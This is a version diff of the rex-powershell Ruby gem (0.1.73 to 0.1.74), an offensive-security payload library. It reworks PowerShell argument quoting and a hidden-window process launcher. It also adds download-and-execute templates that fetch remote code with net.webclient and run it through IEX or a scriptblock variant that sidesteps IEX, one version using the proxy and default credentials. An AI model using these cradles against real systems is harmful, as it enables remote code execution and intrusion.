rex-powershell 0.1.73 → 0.1.74

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 1dabfcb498065064e37785310bca6d72de12557c
4
- data.tar.gz: a5be528fbbc94aae94674a877f2559ad9d500406
3
+ metadata.gz: b88e31ce42aa0f6b8b9849c916f24680f156fb59
4
+ data.tar.gz: '0395b6d9bf3e79c7edfaff20e36b049c5df254c7'
5
5
  SHA512:
6
- metadata.gz: 199779368f7e1a874ee587bc916246388c2ad03f1dfffa72877df2e108d34a2becc077f93b6389225016311905eac50d616bf6f34abf8491a0ef4f7866254582
7
- data.tar.gz: 5feb09f1183726d10b1caf649fc7d8f43236e96ddb27dcf1aac0defc7d351bc6d44d2d21756b7c095c4adb6378b0c62cfd06867227f870aec27334d021df4298
6
+ metadata.gz: 5b295b9d04daf9e4b7d39b80ed60ecfd70392c0b45c3337ad39848482f53e5499d30a08f33e9cb72e2a2a6026ca01ce05a1046baa81e0f449e36c9fee0aedec4
7
+ data.tar.gz: ae1d2be6edc876b9ec72a408ac466b2e5d73823a34f46c7f46e4033296d4b55730492f315706234d75723cd72107820eaa2b60aa3670825b26d0f41c95f29ded
checksums.yaml.gz.sig CHANGED
Binary file
data.tar.gz.sig CHANGED
Binary file
@@ -135,8 +135,6 @@ module Command
135
135
  arg_string = ' '
136
136
  opts.each_pair do |arg, value|
137
137
  case arg
138
- when :encodedcommand
139
- arg_string << "-EncodedCommand #{value} " if value
140
138
  when :executionpolicy
141
139
  arg_string << "-ExecutionPolicy #{value} " if value
142
140
  when :inputformat
@@ -164,11 +162,13 @@ module Command
164
162
 
165
163
  # Command must be last (unless from stdin - etc)
166
164
  if opts[:command]
167
- if opts[:use_single_quotes]
168
- arg_string << "-Command #{opts[:command]}"
169
- else
165
+ if opts[:wrap_double_quotes]
170
166
  arg_string << "-Command \"#{opts[:command]}\""
167
+ else
168
+ arg_string << "-Command #{opts[:command]}"
171
169
  end
170
+ elsif opts[:encodedcommand]
171
+ arg_string << "-EncodedCommand #{opts[:encodedcommand]}"
172
172
  end
173
173
 
174
174
  # Shorten arg if PSH 2.0+
@@ -218,18 +218,15 @@ module Command
218
218
 
219
219
  if encoded
220
220
  opts[:encodedcommand] = ps_code
221
- elsif opts[:use_single_quotes]
222
- opts[:command] = ps_code.gsub("'", "''")
223
221
  else
224
- opts[:command] = ps_code
222
+ opts[:command] = ps_code.gsub("'", "''")
223
+ opts[:wrap_double_quotes] = false
225
224
  end
226
225
 
227
- ps_args = generate_psh_args(opts)
228
-
229
226
  process_start_info = <<EOS
230
227
  $s=New-Object System.Diagnostics.ProcessStartInfo
231
228
  $s.FileName=$b
232
- $s.Arguments='#{ps_args}'
229
+ $s.Arguments='#{generate_psh_args(opts)}'
233
230
  $s.UseShellExecute=$false
234
231
  $s.RedirectStandardOutput=$true
235
232
  $s.WindowStyle='Hidden'
@@ -248,7 +245,11 @@ EOS
248
245
 
249
246
  archictecure_detection.gsub!("\n", '')
250
247
 
251
- archictecure_detection + process_start_info
248
+ if opts[:no_arch_detect]
249
+ return "$b='powershell.exe';#{process_start_info}"
250
+ else
251
+ archictecure_detection + process_start_info
252
+ end
252
253
  end
253
254
 
254
255
  #
@@ -272,8 +273,8 @@ EOS
272
273
  # powershell script
273
274
  # @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
274
275
  # environment variable at the start of the command line
275
- # @option opts [Boolean] :use_single_quotes Wraps the -Command
276
- # argument in single quotes unless :encode_final_payload
276
+ # @option opts [Boolean] :wrap_double_quotes Wraps the -Command
277
+ # argument in double quotes unless :encode_final_payload
277
278
  # @option opts [TrueClass,FalseClass] :exec_in_place Removes the
278
279
  # executable wrappers from the powershell code returning raw PSH
279
280
  # for executing with an existing PSH context
@@ -359,13 +360,6 @@ EOS
359
360
  end
360
361
  end
361
362
  else
362
- if opts[:use_single_quotes]
363
- # Escape Single Quotes
364
- final_payload.gsub!("'", "''")
365
- # Wrap command in quotes
366
- final_payload = "'#{final_payload}'"
367
- end
368
-
369
363
  command_args[:command] = final_payload
370
364
  end
371
365
 
@@ -77,10 +77,15 @@ module Powershell
77
77
  # Download and execute string via HTTP
78
78
  #
79
79
  # @param url [String] string to download
80
+ # @param iex [Boolean] utilize invoke-expression to execute code
80
81
  #
81
82
  # @return [String] PowerShell code to download and exec the url
82
- def self.download_and_exec_string(url)
83
- %Q^ IEX ((new-object net.webclient).downloadstring('#{url}'))^
83
+ def self.download_and_exec_string(url, iex = true)
84
+ if iex
85
+ %Q^ IEX ((new-object net.webclient).downloadstring('#{url}'))^
86
+ else
87
+ %Q^&([scriptblock]::create((new-object net.webclient).downloadstring('#{url}')))^
88
+ end
84
89
  end
85
90
 
86
91
  #
@@ -88,14 +93,19 @@ module Powershell
88
93
  # as a string and execute the contents as PowerShell
89
94
  #
90
95
  # @param url [String] string to download
96
+ # @param iex [Boolean] utilize invoke-expression to execute code
91
97
  #
92
98
  # @return [String] PowerShell code to download a URL
93
- def self.proxy_aware_download_and_exec_string(url)
99
+ def self.proxy_aware_download_and_exec_string(url, iex = true)
94
100
  var = Rex::Text.rand_text_alpha(1)
95
101
  cmd = "$#{var}=new-object net.webclient;"
96
102
  cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
97
103
  cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
98
- cmd << "IEX $#{var}.downloadstring('#{url}');"
104
+ if iex
105
+ cmd << "IEX $#{var}.downloadstring('#{url}');"
106
+ else
107
+ cmd << "&([scriptblock]::create($#{var}.downloadstring('#{url}'));"
108
+ end
99
109
  cmd
100
110
  end
101
111
  end
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Powershell
3
- VERSION = "0.1.73"
3
+ VERSION = "0.1.74"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-powershell
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.73
4
+ version: 0.1.74
5
5
  platform: ruby
6
6
  authors:
7
7
  - David 'thelightcosine' Maloney
@@ -88,7 +88,7 @@ cert_chain:
88
88
  G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
89
89
  8mVuTXnyJOKRJA==
90
90
  -----END CERTIFICATE-----
91
- date: 2017-07-17 00:00:00.000000000 Z
91
+ date: 2017-08-24 00:00:00.000000000 Z
92
92
  dependencies:
93
93
  - !ruby/object:Gem::Dependency
94
94
  name: bundler
metadata.gz.sig CHANGED
Binary file